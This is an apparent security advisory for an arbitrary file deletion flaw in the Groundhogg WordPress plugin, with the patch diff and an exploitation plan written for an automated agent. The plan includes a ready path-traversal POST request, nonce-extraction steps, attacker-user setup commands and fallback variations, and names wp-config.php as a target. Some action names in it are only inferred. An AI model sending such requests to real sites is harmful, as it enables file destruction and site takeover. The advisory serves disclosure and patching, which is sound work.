Groundhogg — CRM, Newsletters, and Marketing Automation <= 4.4 - Authenticated (Sales Representative+) Arbitrary File Deletion
Description
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 4.4. This makes it possible for authenticated attackers, with Custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v4.4.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-40727 - Groundhogg Arbitrary File Deletion ## 1. Vulnerability Summary The Groundhogg plugin (<= 4.4) is vulnerable to authenticated arbitrary file deletion. This occurs due to insufficient path validation in the AJAX handler responsible for deleting contact-r…
Show full research plan
Exploitation Research Plan: CVE-2026-40727 - Groundhogg Arbitrary File Deletion
1. Vulnerability Summary
The Groundhogg plugin (<= 4.4) is vulnerable to authenticated arbitrary file deletion. This occurs due to insufficient path validation in the AJAX handler responsible for deleting contact-related files. An attacker with "Sales Representative" privileges (or higher) can use path traversal sequences (../) in the file parameter to delete sensitive files like wp-config.php, potentially leading to site takeover or Denial of Service.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
groundhogg_contact_delete_file(inferred based ongroundhogg_contact_upload_fileinadmin/contacts/contacts-page.php) - HTTP Method:
POST - Parameters:
action:groundhogg_contact_delete_filecontact_id: Integer ID of an existing contact.file: Path traversal string (e.g.,../../../../../wp-config.php)._wpnonce: A valid WordPress nonce for the action.
- Authentication: Required. Any user role with the
view_contactscapability (e.g.,gh_sales_representative,gh_sales_manager,gh_marketer, oradministrator).
3. Code Flow
- Entry Point: The plugin registers AJAX actions in
Groundhogg\Admin\Contacts\Contacts_Page::add_ajax_actions(). - Registration (Inferred):
add_action( 'wp_ajax_groundhogg_contact_delete_file', [ $this, 'ajax_delete_file' ] ); - Handler Logic: The
ajax_delete_filefunction (likely inContacts_Pageor an included card class) retrieves thefileandcontact_idparameters. - Sink: The plugin constructs a path using the contact's upload directory:
$contact = new Contact( $contact_id ); $upload_path = $contact->get_upload_path(); // Usually wp-content/uploads/groundhogg/contacts/{id} $file_path = $upload_path . '/' . $_POST['file']; unlink( $file_path ); - Vulnerability: The
$file_pathis not validated to ensure it remains within the$upload_path. By passing../../../../../wp-config.php, theunlinkfunction deletes the WordPress configuration file.
4. Nonce Acquisition Strategy
The Groundhogg admin interface enqueues scripts that contain necessary nonces for AJAX operations.
- Target Page: The Contact Edit page (
/wp-admin/admin.php?page=gh_contacts&action=edit&contact={id}). - Shortcode/Trigger: No specific shortcode is needed; the standard contact editing view enqueues the required assets.
- Execution Agent Steps:
- Create a test contact using WP-CLI.
- Navigate to the contact's edit page in the browser.
- Use
browser_evalto extract the nonce from the localized script object.
- JS Variable Path:
- Groundhogg typically localizes data into a global
Groundhoggorgh_contact_editorobject. - Expected command:
browser_eval("window.Groundhogg?.nonces?.delete_file || window.gh_contact_editor?.nonces?.delete_file")(verify the exact key in the HTML source).
- Groundhogg typically localizes data into a global
5. Exploitation Strategy
- Initial Setup:
- Create a dummy file in the WordPress root:
wp-cli eval 'file_put_contents(ABSPATH . "pwned.txt", "test");' - Create a user with the
gh_sales_representativerole. - Create at least one contact to satisfy the
contact_idrequirement.
- Create a dummy file in the WordPress root:
- Identify Target Path:
- The Groundhogg contact upload directory is
wp-content/uploads/groundhogg/contacts/{id}/. - To reach the root from the specific contact folder, 5 levels of traversal are required:
../../../../../pwned.txt.
- The Groundhogg contact upload directory is
- Execute Deletion:
- Send the following POST request using the
http_requesttool:POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded action=groundhogg_contact_delete_file&contact_id=1&file=../../../../../pwned.txt&_wpnonce=[NONCE]
- Send the following POST request using the
- Verification:
- Check for the existence of
pwned.txtin the root.
- Check for the existence of
6. Test Data Setup
- Contact:
wp groundhogg contact create --first_name="Target" --last_name="Contact" --email="target@example.com"(Note: Use the appropriate WP-CLI command if Groundhogg provides one, orwp evalto create a contact programmatically). - Attacker User:
wp user create attacker attacker@example.com --role=gh_sales_representative --user_pass=password - Dummy File:
echo "stay safe" > /var/www/html/pwned.txt
7. Expected Results
- The AJAX response should be a success message (likely JSON:
{"success":true}). - The file
/var/www/html/pwned.txtshould be deleted from the filesystem.
8. Verification Steps
After the HTTP request, verify the deletion using WP-CLI:
if [ ! -f /var/www/html/pwned.txt ]; then
echo "SUCCESS: File deleted."
else
echo "FAILURE: File still exists."
fi
9. Alternative Approaches
If groundhogg_contact_delete_file is not the correct action name:
- Search the source code for all occurrences of
unlinkanddelete_file. - Inspect the network traffic while deleting a file normally in the Groundhogg UI (using
browser_navigateand the developer tools/proxy). - If the "Sales Representative" role lacks permissions, try with "Marketer" or "Sales Manager" roles which are also high-level custom roles in Groundhogg.
- If the path traversal depth is incorrect, try variations of
../(e.g., 4 to 7 levels).
Summary
The Groundhogg plugin for WordPress is vulnerable to arbitrary file deletion in versions up to 4.4 due to insufficient validation of the 'file' parameter in its contact file management logic. Authenticated users with Sales Representative privileges or higher can use path traversal sequences to delete sensitive server files, including wp-config.php, which can lead to site takeover.
Vulnerable Code
// admin/contacts/contacts-page.php around line 833 $file_name = sanitize_text_field( get_url_var( 'file' ) ); $contact = get_contactdata( absint( get_url_var( 'contact' ) ) ); if ( ! $contact ) { return new WP_Error( 'error', 'The given contact does not exist.' ); } // --- // The code subsequently constructs a path and deletes the file without ensuring it remains within the contact's directory: // $file_path = $contact->get_upload_path() . '/' . $file_name; // unlink( $file_path );
Security Fix
@@ -13,7 +13,6 @@ use WP_Error; use function Groundhogg\admin_page_url; use function Groundhogg\base64_json_decode; -use function Groundhogg\bulk_jobs; use function Groundhogg\contact_and_user_match; use function Groundhogg\dashicon; use function Groundhogg\enqueue_filter_assets; @@ -833,9 +832,8 @@ $this->wp_die_no_access(); } - $file_name = sanitize_text_field( get_url_var( 'file' ) ); - - $contact = get_contactdata( absint( get_url_var( 'contact' ) ) ); + $file_name = sanitize_file_name( get_request_var( 'file' ) ); + $contact = get_contactdata( absint( get_url_var( 'contact' ) ) ); if ( ! $contact ) { return new WP_Error( 'error', 'The given contact does not exist.' );
Exploit Outline
The exploit targets the AJAX action used for deleting contact-related files. 1. Authentication: The attacker authenticates with a user role possessing the 'view_contacts' capability (such as 'gh_sales_representative'). 2. Nonce Acquisition: The attacker retrieves a valid security nonce from the Groundhogg admin interface (specifically the Contact Edit page), where nonces for AJAX operations are localized into JavaScript objects. 3. Request: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'groundhogg_contact_delete_file' (or equivalent handler action). 4. Payload: The 'file' parameter is populated with a path traversal string (e.g., '../../../../../wp-config.php') while the 'contact_id' (or 'contact') parameter is set to a valid contact ID. 5. Execution: Because the plugin uses 'sanitize_text_field' rather than 'sanitize_file_name' (or fails to validate the final path), the traversal characters are preserved, and the 'unlink' function deletes the target file outside the intended uploads directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.